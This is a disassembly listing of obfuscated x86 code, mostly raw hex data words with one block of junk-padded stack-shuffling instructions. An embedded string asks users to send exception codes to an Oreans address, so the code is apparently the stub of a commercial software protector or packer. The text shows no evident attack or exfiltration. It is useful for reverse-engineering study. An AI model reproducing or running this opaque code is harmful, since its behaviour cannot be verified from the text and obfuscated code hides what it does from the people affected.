		dd 840F07F8h, 162h, 0F6DB8C66h,	850F04C3h, 0FCh, 0FF985C6h
		dd 68560648h, 9CA8B852h, 0ED5B5FFh, 858D0648h, 64838BAh
		dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 4AF87485h
		dd 0F985C606h, 4706480Fh, 18AC9B68h, 0D5B5FFECh, 8D06480Eh
		dd 4838BA85h, 0FFD0FF06h, 0C6F08BD0h, 480FF985h, 61684F06h
		dd 0FFC62F26h, 4827C5B5h, 0BA858D06h, 0FF064838h, 709D8DD0h
		dd 53064AF8h, 0FF56286Ah, 75C085D0h, 0F985C600h, 4106480Fh
		dd 87649868h, 0C5B5FFDBh, 8D064827h, 4838BA85h,	89D0FF06h
		dd 4AF88D85h, 0F985C606h, 4C06480Fh, 0A4E7A468h, 0C5B5FF80h
		dd 8D064827h, 4838BA85h, 8BD0FF06h, 4AF8749Dh, 45B8D06h
		dd 799D8D53h, 53064AF8h, 0D0FF006Ah, 0F8749D8Bh, 3C7064Ah
		dd 1, 20C43C7h,	0C7000000h, 48098985h, 6, 6A006A00h, 8B006A00h
		dd 4AF8749Dh, 6A5306h, 0F870B5FFh, 95FF064Ah, 64AF88Dh
		dd 0FF985C6h, 68450648h, 92A5F797h, 2F2DB5FFh, 858D0648h
		dd 64838BAh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
		dd 0F8749D8Bh, 43C7064Ah, 0Ch, 6A006A00h, 749D8B00h, 53064AF8h
		dd 0B5FF006Ah, 64AF870h, 0F88D95FFh, 0B5FF064Ah, 64AF870h
		dd 177D95FFh, 6A0648h, 1AD995FFh, 8D8B0648h, 6482A39h
		dd 12E9h, 7180FC00h, 0C69C38CDh, 0C61BBE1Ah, 62EE745Fh
		dd 8B6722EAh, 482F01BDh, 45858D06h, 0F064B2Eh, 2950F9B7h
		dd 481695BDh, 35FF6406h, 0
		dd 7E9h, 96298400h, 283A045Fh, 258964h,	6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 683EC355h, 80815648h, 0BD2B61E2h, 64814E9h, 2ACA8166h
		dd 2DBD832Fh, 64820h, 5C840Fh, 8D290000h, 64831B1h, 6860Fh
		dd 0BD290000h, 64812DDh, 30E5BD83h, 0F010648h, 3D85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BF6637D9h, 24B6EDA5h, 0FC8DBD80h, 0F00064Ah, 0D85h
		dd 0C1816600h, 6EE93313h, 0F000001h, 0DB33CAB7h, 0A138A1B9h
		dd 8BC03322h, 9E9D3h, 0DB230000h, 677F5403h, 40DA42A3h
		dd 0B073F0Fh, 58F64h, 83000000h, 10E904C4h, 24000000h
		dd 0F2E33005h, 2F1D9AD6h, 2A212437h, 3105BBB9h,	482E799Dh
		dd 0FB83F806h, 13840FFFh, 31000000h, 48073D9Dh,	0B5BA6606h
		dd 105E917h, 0BA660000h, 7EE9CC24h, 0E9000000h,	0Dh, 0E04AE2F9h
		dd 19A5D1D2h, 9B5B8A8Eh, 8E9F3h, 68230000h, 0BD6F34B7h
		dd 4C8B8650h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h
		dd 5C8BC3C0h, 0E8550C24h, 0
		dd 67ED815Dh, 8B064B2Eh, 0B883h, 2C858D00h, 89064B2Fh
		dd 0B883h, 0C0335D00h, 6AF18AC3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0ED31C350h
		dd 5D858D84h, 89064B2Eh, 48274D8Dh, 6A5006h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 448DD4C3h
		dd 0F274D38Bh, 64A19B51h, 35FFh, 0BE90000h, 8E000000h
		dd 8CC12069h, 15B111A3h, 89644871h, 25h, 1BD8900h, 0B906481Fh
		dd 0Ah,	55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h
		dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h,	4830F185h
		dd 106h, 58F6400h, 0
		dd 6604C483h, 9181C281h, 14E9h,	2F0BCF00h, 19834F15h, 4CB2490Ch
		dd 8C6F9DC3h, 3FC3691h,	6AC08B07h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0E4C8C355h
		dd 0A4E21B5Ah, 1299BD83h, 75000648h, 35BD8309h,	6480Dh
		dd 53501974h, 3DB8C08Bh, 89000004h, 482FF985h, 0CB9D8D06h
		dd 0FF064AA4h, 83585BD3h, 480D35BDh, 17740006h,	3DB85350h
		dd 89000004h, 482FF985h, 6C9D8D06h, 0FF064AA1h,	6A585BD3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0C739C357h, 30FADEE6h, 4CF61BCEh,	6E9h, 178A5200h
		dd 0F7B0FA5h, 386h, 0CEBF0F00h,	0E9C08BFCh, 13Ah, 4, 35382E31h
		dd 35h,	6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
		dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
		dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
		dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
		dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
		dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
		dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
		dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
		dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
		dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
		dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
		dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
		dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
		dd 64815C1h, 2D840F00h,	8D000001h, 4A9F8385h, 858D5006h
		dd 64A9EEDh, 16850h, 95FF8000h,	64A9F93h, 3003858Dh, 8D50064Bh
		dd 4B300D85h, 6A5006h, 858D006Ah, 64A9F01h, 83B5FF50h
		dd 0FF064A9Fh, 48162195h, 3858D06h, 50064B30h, 3011858Dh
		dd 6A50064Bh, 8D006A00h, 4A9F1385h, 0B5FF5006h,	64A9F83h
		dd 162195FFh, 858D0648h, 64B3003h, 1D858D50h, 50064B30h
		dd 6A006Ah, 9F60858Dh, 0FF50064Ah, 4A9F83B5h, 2195FF06h
		dd 8D064816h, 4B300385h, 858D5006h, 64B3025h, 6A006A50h
		dd 7E858D00h, 50064A9Fh, 9F83B5FFh, 95FF064Ah, 6481621h
		dd 3003858Dh, 8D50064Bh, 4B302185h, 6A5006h, 858D006Ah
		dd 64A9F67h, 83B5FF50h,	0FF064A9Fh, 48162195h, 3858D06h
		dd 50064B30h, 3015858Dh, 6A50064Bh, 8D006A00h, 4A9F6F85h
		dd 0B5FF5006h, 64A9F83h, 162195FFh, 858D0648h, 64B3003h
		dd 19858D50h, 50064B30h, 6A006Ah, 9F76858Dh, 0FF50064Ah
		dd 4A9F83B5h, 2195FF06h, 0FF064816h, 4A9F83B5h,	2595FF06h
		dd 0E9064832h, 0A2h, 1651BD83h,	0F000648h, 9584h, 0E5BD8300h
		dd 64830h, 11850Fh, 958B0000h, 648182Dh, 1CF8C281h, 0FE90000h
		dd 8D000000h, 48014595h, 34528B06h, 0C340C281h,	95893BD4h
		dd 648289Dh, 289DBD83h,	0F000648h, 5584h, 9D9D8B00h, 83064828h
		dd 38B4CC3h, 300D8589h,	9D8B064Bh, 648289Dh, 8B50C383h
		dd 11858903h, 8B064B30h, 48289D9Dh, 54C38306h, 8589038Bh
		dd 64B301Dh, 289D9D8Bh,	0C3830648h, 89038B58h, 4B302185h
		dd 9D9D8B06h, 83064828h, 38B5CC3h, 30158589h, 0BD83064Bh
		dd 64815C1h, 0D850F00h,	83000000h, 481651BDh, 840F0006h
		dd 68h,	3025B5FFh, 0B5FF064Bh, 64B3019h, 3015B5FFh, 0B5FF064Bh
		dd 64B3021h, 301DB5FFh,	0B5FF064Bh, 64B3011h, 300DB5FFh
		dd 858D064Bh, 64B3007h,	3F858D50h, 50064B30h, 1CE5858Dh
		dd 0FF500648h, 48286195h, 24C48306h, 858D406Ah,	64B3029h
		dd 0E5858D50h, 5006481Ch, 95FF006Ah, 64815D5h, 95FF016Ah
		dd 6481AD9h, 8060C18Bh,	0C08BC3C9h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 37C35343h, 5F640DB7h, 5E9h
		dd 81CBFB00h, 83F5D59Dh, 481299BDh, 9750006h, 0D35BD83h
		dd 74000648h, 8B535019h, 40EB8C0h, 85890000h, 64829B9h
		dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h
		dd 40EB853h, 85890000h,	64829B9h, 0A1539D8Dh, 0D3FF064Ah
		dd 0E857585Bh, 0Dh, 39D52F4Bh, 910E2CA3h, 0BC936BA0h, 5E6160E7h
		dd 56006A5Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 6E985C1h, 62000000h, 52A83713h, 6AC08B7Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 8F50C350h, 3243EAADh, 83F43020h, 48202DBDh
		dd 840F0006h, 6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0CDC35141h, 9E88E55h,	0B8000000h, 1EABEEEFh
		dd 45C7AE78h, 13E9h, 0CFE7B400h, 0E013A5F3h, 0C081E405h
		dd 95AF3477h, 54DBF690h, 261E95Ah, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 986B67C3h
		dd 39E4FD80h, 81DF8C7Ch, 0A50262C9h, 0C7F7664Eh, 850F0004h
		dd 22Bh, 1C830Fh, 10E80000h, 9B000000h,	0FA0D4583h, 873B824Dh
		dd 41C50563h, 0F918EAEh, 8Dh, 0FF2B5900h, 8B0FF960h, 15h
		dd 0FE8h, 97794600h, 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh
		dd 9D8D6159h, 64B36E4h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 69C35747h, 5E57F521h,	0BA6693EBh, 66505B57h
		dd 939885BEh, 3840Fh, 0F9570000h, 35FF6459h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B1C35646h
		dd 91DD22B8h, 0DBF45115h, 258964h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 2B51C350h, 7E746F35h, 8B96FED6h, 0BDC981C4h,	0CD4891E2h
		dd 6A00EB01h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 253DC356h, 0F64FBCBh, 128Eh, 0DE900h
		dd 21470000h, 0B2A0C26Bh, 8173A1DDh, 0E99CE675h, 10h, 0C48616FCh
		dd 0C064A044h, 0C464D430h, 10B401F2h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 6BC35747h, 1F769AB9h, 8F643E4Ch
		dd 5, 11E900h, 0D29B0000h, 0FEEE580Ah, 0B737387Eh, 0C25F640Dh
		dd 83DC1A8Ch, 6A04C4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0FAF8EC3h, 6651DFE5h, 0BD81F181h
		dd 0D3BF0F5Ah, 840FC00Bh, 8Bh, 0BE9h, 5B3D9A00h, 0B235B4A4h
		dd 3F9B1780h, 0FA0EBA61h, 80603775h, 8D6103CFh,	487286BDh
		dd 0BF0F6006h, 0BA61F9C1h, 0A3840FAh, 1B8h, 81E7FF00h
		dd 85EFFBC2h, 5C8B5769h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
		dd 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 6C55C356h
		dd 0C72824E0h, 64B6C88Bh, 81F56060h, 0A3C69DD8h, 61616141h
		dd 8BF7B70Fh, 71BE66C0h, 99BD83A6h, 64812h, 0BD830975h
		dd 6480D35h, 50197400h,	0B8C08B53h, 40Eh, 2FF98589h, 9D8D0648h
		dd 64AA4CBh, 585BD3FFh,	0D35BD83h, 74000648h, 0B8535017h
		dd 40Eh, 2FF98589h, 9D8D0648h, 64AA16Ch, 585BD3FFh, 0DFC68166h
		dd 52006A0Ch, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0F41F6E79h, 57648579h, 10E9h, 4CC07000h
		dd 4EEA6669h, 5BF6103Eh, 5773CF67h, 6AC08BBCh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 1AD1C351h, 21E6F0EFh, 0D506A7D4h, 0CE8C28Bh,	0C0000000h
		dd 46A6A4FDh, 6AD5164Dh, 0FEB700Ch, 0E959F6BFh,	14h, 3D5CD6DCh
		dd 786CCD7Dh, 4D88FDFCh, 88AB5018h, 5C0CF6DBh, 6134C181h
		dd 820F0000h, 5, 0D3A8F9BEh, 80D22B0Eh,	1C8B71DCh, 1EEF8111h
		dd 8159A45Ch, 2D4DE1C3h, 0FFB70F0Fh, 0DCE0F381h, 88BE0945h
		dd 8154E7CBh, 90DA03C3h, 6E914h, 0BEB30000h, 0E09FA3F2h
		dd 60111C89h, 9E8h, 379D5B00h, 3D010D82h, 616004F0h, 860F6159h
		dd 0
aBJTCybJS	db 'êÆJ;(¿T\—yÂÂJ;(é',0Dh,0
		dd 43120000h, 0B688205Ah, 53093624h, 81A02CBDh,	0FF9FA4FAh
		dd 1A850FFFh, 0F000000h, 68Fh, 55C78100h, 0E90EC25Ch, 13h
		dd 8AF41A34h, 0DD3D7CF9h, 0FF68E952h, 8634FFFFh, 0EBEE44DAh
		dd 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 0FBED815Dh, 61064B38h, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3933B58Bh, 0E681064Bh, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3937B53Bh, 860F064Bh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	48289D85h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 80D95FFh, 0F500648h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	48289D85h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 9D858B00h, 86064828h, 0FDB0A18h, 0FFFFF685h,	2185C7FFh
		dd 64810h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 102185C7h, 1000648h, 5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 38D885C7h, 1064Bh, 0F500000h
		dd 0FE244C01h, 38DC858Fh, 858D064Bh, 64B38D4h, 38DCBD8Dh
		dd 3889064Bh, 23E9h, 45858D00h,	8B064801h, 17053840h, 899B46F3h
		dd 4B38D485h, 45858D06h, 8B064801h, 85893C40h, 64B38D8h
		dd 38F1858Dh, 8589064Bh, 648080Dh, 87E9h, 0D48B5200h, 8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3B64858Dh, 8589064Bh, 64830A1h, 3B8C858Dh, 8589064Bh
		dd 6481731h, 3BB4858Dh,	8589064Bh, 6482725h, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 64830E5h, 7182858Dh,	88B064Bh, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 3C158D89h, 0BD83064Bh, 64808BDh,	0F840F00h
		dd 60000000h, 95FF006Ah, 648092Dh, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 1185895Ah, 8B064B3Ch
		dd 4B3C15B5h, 10CEC106h, 2728966h, 3C15B58Bh, 8966064Bh
		dd 8B61FC72h, 4B3C1185h, 958DC306h, 6482041h, 289D9589h
		dd 95890648h, 6481551h,	155185FFh, 85C60648h, 6480FF9h
		dd 48D86853h, 0B5FFFCB1h, 6480ED5h, 38BA858Dh, 0D0FF0648h
		dd 92D8589h, 858D0648h,	64B390Bh, 20398589h, 0EB0648h
		dd 5F1E9h, 5E5E900h, 0E2680000h, 0E9064B3Dh, 0FFFD4181h
		dd 4B3EF068h, 4177E906h, 8668FFFDh, 0E9064B3Fh,	0FFFD416Dh
		dd 4B405B68h, 4163E906h, 9D68FFFDh, 0E9064B41h,	0FFFD4159h
		dd 7818179Eh, 0E183862Ch, 553712B5h, 0D8B8B939h, 432120CCh
		dd 0CF6B5320h, 6CF2AECAh, 0FA871371h, 6A0985E7h, 3F560D6Fh
		dd 6F70296Fh, 7611B77Ch, 2432FD47h, 32AFE976h, 581F7624h
		dd 42762432h, 76243302h, 2432B1F4h, 325D2776h, 8CB7F624h
		dd 0CA0757CEh, 0E3FC6C4Bh, 18F7DCAEh, 35A07420h, 6C571F59h
		dd 6CC2ADFCh, 18B4234Ch, 710B9A9Dh, 475AE7F5h, 62C8A9C6h
		dd 5CAF4A46h, 5265BC4Fh, 821592E9h, 0E1D593EBh,	84E3FC6Ch
		dd 2B830DF3h, 7BD3C411h, 0ED97297Ch, 6D099BE8h,	119E1F6Ch
		dd 26DAE5B9h, 6D071048h, 0C06CDBFCh, 0CA85FA88h, 0E570F1BEh
		dd 0B460B489h, 8B7F002h, 92A513BDh, 4066148Bh, 67000004h
		dd 0F5A1C3DEh, 722E4A4Fh, 692FEEDh, 9501637Eh, 6B88E8E9h
		dd 0B3B6320Ah, 2623C5D1h, 0ACA34E5Ah, 5453D0CCh, 0B6089F34h
		dd 7C6F6FF2h, 85BF68FEh, 3C8AFBFEh, 76243279h, 730001ADh
		dd 0F2839E21h, 0E1F8D341h, 0F1949454h, 0C0459A41h, 60032996h
		dd 0E88B0765h, 670C9CEDh, 0C55BF560h, 64CAABD8h, 8E7D4F57h
		dd 0BEDAD95Ah, 0E10AE51Eh, 3A13FDDh, 0FA960000h, 6F0C7D78h
		dd 0FE85BCC7h, 3A4B56E8h, 0F88FFC7Dh, 1CF8D883h, 99318DAFh
		dd 243C7A3Bh, 62D99576h, 0D1CA35BEh, 9B9AE712h,	14CFAD2Ah
		dd 2E6B2D81h, 3E797625h, 0B3B63341h, 3B3EC5D1h,	829310ACh
		dd 252E6C2Ch, 0BE3F7876h, 6D0AA0C1h, 17671323h,	76252F51h
		dd 0F193109Fh, 8C1B1EA5h, 2EDF99F5h, 91ED7625h,	0C1691613h
		dd 4540E6B2h, 0B1B43ED2h, 95DF8919h, 0C376252Eh, 1BB5203Dh
		dd 88E9869Bh, 3B9522h, 0B6F3CB5Ah, 27C6D37h, 27D1DA65h
		dd 28E70C5Ch, 332BAh, 0F5CC7500h, 7C79FB97h, 0E0FF801Ch
		dd 956C1480h, 1A1F9BF7h, 447C557Eh, 0CFDBB9B8h,	504C2C39h
		dd 0DAB6D2D5h, 0A53E5A59h, 70FCBC12h, 76C87C6Fh, 0FBFE85ADh
		dd 7E75FE8Ah, 45DA7601h, 0E2482946h, 1EA69036h,	0E3908F10h
		dd 0EF970582h, 59F79512h, 7624335Bh, 0F0EF700Ch, 0CE76E283h
		dd 377D5BF3h, 6D762443h, 0E6B1CEDBh, 39BBAF4Ah,	0A1CEBF3Ch
		dd 43094B09h, 38037624h, 0D56C0392h, 2442BFF9h,	0CC620D76h
		dd 6C6D938Eh, 6DD0DF7Ch, 0C5CE384h, 9C5DCD42h, 3000002h
		dd 910D6F62h, 1E8A1613h, 0A2FE9A89h, 316D0F02h,	0CFD4B4B5h
		dd 5F52DEE6h, 0C2DF613Dh, 484FEAA6h, 0F0F77C28h, 0D2ACC390h
		dd 7C6F7196h, 850B9C22h, 0FE8AFBFEh, 0B2E77E75h, 505AC51Eh
		dd 2A976484h, 0AA715C29h, 0C6DCDB73h, 82C6982Fh, 4E76251Fh
		dd 302DB321h, 0D28C2243h, 393CC76Dh, 14717AEh, 0CF762520h
		dd 0B0AF30A0h, 7C0CA2C3h, 0E1E327DCh, 1F9FDDDh,	47260000h
		dd 762432FDh, 7988E2Bh,	8D0A6B18h, 3336B3EFh, 617E3342h
		dd 9EA397ECh, 600D8D25h, 11BDF661h, 1D2F2786h, 0E2FFE245h
		dd 4DD97B91h, 0FEB0D6E5h, 5B5EDB01h, 0B3AE30CCh, 34EF8F1Bh
		dd 0EEDDE1B0h, 48h, 0DC7EB935h,	37FC7549h, 2F487C6Ch, 5D17F790h
		dd 0D04EC10Ch, 1C7h, 385857DEh,	0A1C3C66Ch, 157752F5h
		dd 98F8F979h, 361600Ch,	0FAB93E0h, 0AC326E0Ah, 3AC7D3B1h
		dd 0AA494527h, 7F16CDAFh, 6F72692Fh, 36D1777Ch,	1D532B42h
		dd 0AB762433h, 40EDBFCCh, 33410757h, 0F68F7624h, 2432E098h
		dd 283EC76h, 8ABE785h, 3305431Bh, 0D4D37624h, 48762657h
		dd 0C2B7EE8Ah, 97489B2Ch, 118129BBh, 6B029594h,	250E5513h
		dd 0AE046376h, 0F5FD8612h, 5ACD4A4Fh, 57243BC6h, 0A1F38056h
		dd 0F404F61Fh, 6ADC630h, 7AFFB99h, 6846590Ah, 76251D30h
		dd 2520C759h, 9F370AB7h, 95E79413h, 0EBAD01F2h,	0F976251Ch
		dd 0FA631BEh, 251CF9BFh, 12B8C776h, 7C1E2676h, 0D2AF57E9h
		dd 0AB258DA1h, 58FE53EEh, 0ABB6495Bh, 76551FC9h, 84BF7624h
		dd 0F67F4FC6h, 427C6C88h, 811BB225h, 0E996E7E2h, 5653D141h
		dd 125628BFh, 0DE7C6C88h, 386979D1h, 0AE0403A4h, 344540E2h
		dd 4FC6D964h, 1240BF5Ah, 28E4918Ch, 6512B8AEh, 1947117h
		dd 84DAD96Fh, 7C6D1CC4h, 99169710h, 7705B218h, 0C884F5D0h
		dd 26BA2DEFh, 662F879Ah, 0B5462108h, 0B3314D82h, 7B609B6h
		dd 3112A45Ah, 85C07Eh, 99180000h, 4AEFA86h, 90376301h
		dd 3BBBD7B5h, 0A24E5A26h, 0D1A6CDAFh, 2C4C4DE9h, 91F3EE70h
		dd 1B797805h, 83E1E48Fh, 0A7E1BDD0h, 357C6F73h,	0FE85F093h
		dd 75FE8AFBh, 779017Eh,	14139058h, 0E3FE474h, 10E5DDE1h
		dd 3E000000h, 2432FE47h, 8A892A76h, 0B50EEh, 47B70000h
		dd 762432FDh, 0EF8D882Bh, 47EC8044h, 0A643340h,	7624334Eh
		dd 369C1D9Ah, 0C1BD493h, 4B000000h, 85C39B32h, 53762432h
		dd 85E5FE54h, 494E5FCh,	790B787Fh, 0FC8CFDFCh, 720E7F6Ah
		dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h
		dd 241F68h, 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		push	5C0A462Dh
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 6
		sub	ebp, 0FC464E25h
		mov	ecx, ebp
		pop	ebp
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	5EDh
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, esi
		mov	[ebx], ecx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_541331
; ---------------------------------------------------------------------------
		db 52h
		dd 0B85C7659h, 64B4247h, 0D18BC503h, 20EBh, 7 dup(0)
		dd 51E90000h, 0E9000005h, 545h,	4B44C368h, 3B67E906h, 5B68FFFDh
		dd 0E9064B45h, 0FFFD3B5Dh, 4B46E668h, 3B53E906h, 4D68FFFDh
		dd 0E9064B47h, 0FFFD3B49h, 680807AEh, 0D1B3B63Ch, 452722C5h
		dd 0C8A8A949h, 335150DCh, 0FF7B4310h, 7C029EFAh, 0EA970361h
		dd 9A197517h, 4F66FD9Fh, 6F76397Fh, 6621877Ch, 0F7A80B80h
		dd 1E01CECCh, 5847D8B8h, 59A36CDh, 5A086906h, 7624C91Eh
		dd 0C9397F4Fh, 0F8877624h, 2847EF88h, 24C8DA9Ah, 651E71F6h
		dd 310CFE4h, 736DC57Ch,	1163988Ch, 3FB95DE1h, 0E2000000h
		dd 2432FE47h, 6F2D1676h, 75D3A6F8h, 63FA7C6Fh, 6F754D0Bh
		dd 0B61C9B7Ch, 1B366B3Ah, 0E3BE59E4h, 0E718500Eh, 0DBA47C6Fh
		dd 0B531CB5Ah, 0D852C7B4h, 6F5B1C52h, 3A46EC6Dh, 138Ch
		dd 0FD470B00h, 17762432h, 0A7F76E2Ch, 7C6F75D2h, 50F3911Eh
		dd 96E7E285h, 521668FFh, 7B762433h, 24326523h, 44347376h
		dd 0AED68ACFh, 0B0313AAFh, 8FF7BC1Ah, 7520F624h, 29465BDBh
		dd 33E8E248h, 294B56E9h, 42D57741h, 23E5286Ch, 662059F6h
		dd 0F4CD75E5h, 2A8DE687h, 6414BA6Eh, 951E6A1Bh,	1692079Eh
		dd 0A1EB22CFh, 94EEB09h, 4BC88DF8h, 0CCF7C7E3h,	6C00970Eh
		dd 0C385D9DAh, 11F6233Ch, 1B98E996h, 3C76328Ch,	2542F623h
		dd 6D6ACF8Dh, 0C9B6FC6Bh, 6C6A2AB8h, 139EEFDBh,	971D6F1Ch
		dd 8770E592h, 0CB30AD8Eh, 0EB502AB0h, 2E6A44h, 0FDBAEFDCh
		dd 7827937Ch, 56DFD74Ch, 0D1AD44A4h, 0EFDBF797h, 68F45A25h
		dd 56h,	0DC7EB9B3h, 6F4D7549h, 1C9B7C6Fh, 494CF789h, 0F1F47F2Bh
		dd 5A264D4Eh, 6B46B0Ch,	2CCh, 0C0A0BF46h, 492B2ED4h, 0BDDFCA5Dh
		dd 204041E1h, 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h
		dd 32B1ED8Fh, 0E7FE5537h, 6F76D197h, 0DE491F7Ch, 29767h
		dd 0E285FC00h, 397649F4h, 0BFCCC96Bh, 83F071FEh, 24327133h
		dd 339F6576h, 50177624h, 0BA762433h, 762432FAh,	2432A8ECh
		dd 32561E76h, 85BE3624h, 595629D4h, 724CDB58h, 3C6F20CDh
		dd 6903921Dh, 0F0B1CECBh, 8B1C6D87h, 8F278AA5h,	0C993ACE0h
		dd 5C2D005Eh, 3E7942B6h, 0A34C128Fh, 0CB7B3452h, 234h
		dd 385857DEh, 0A1C3C66Ch, 157752F5h, 98F8F979h,	361600Ch
		dd 0FAB93E0h, 0AC326E0Ah, 3AC7D3B1h, 0AA494527h, 7F16CDAFh
		dd 6F77692Fh, 36D1777Ch, 4CE8FE85h, 0D1BFCC4Dh,	0DDB124E6h
		dd 7C6F7570h, 1B0698F4h, 9F921E6Ah, 830081EEh, 3712B5E1h
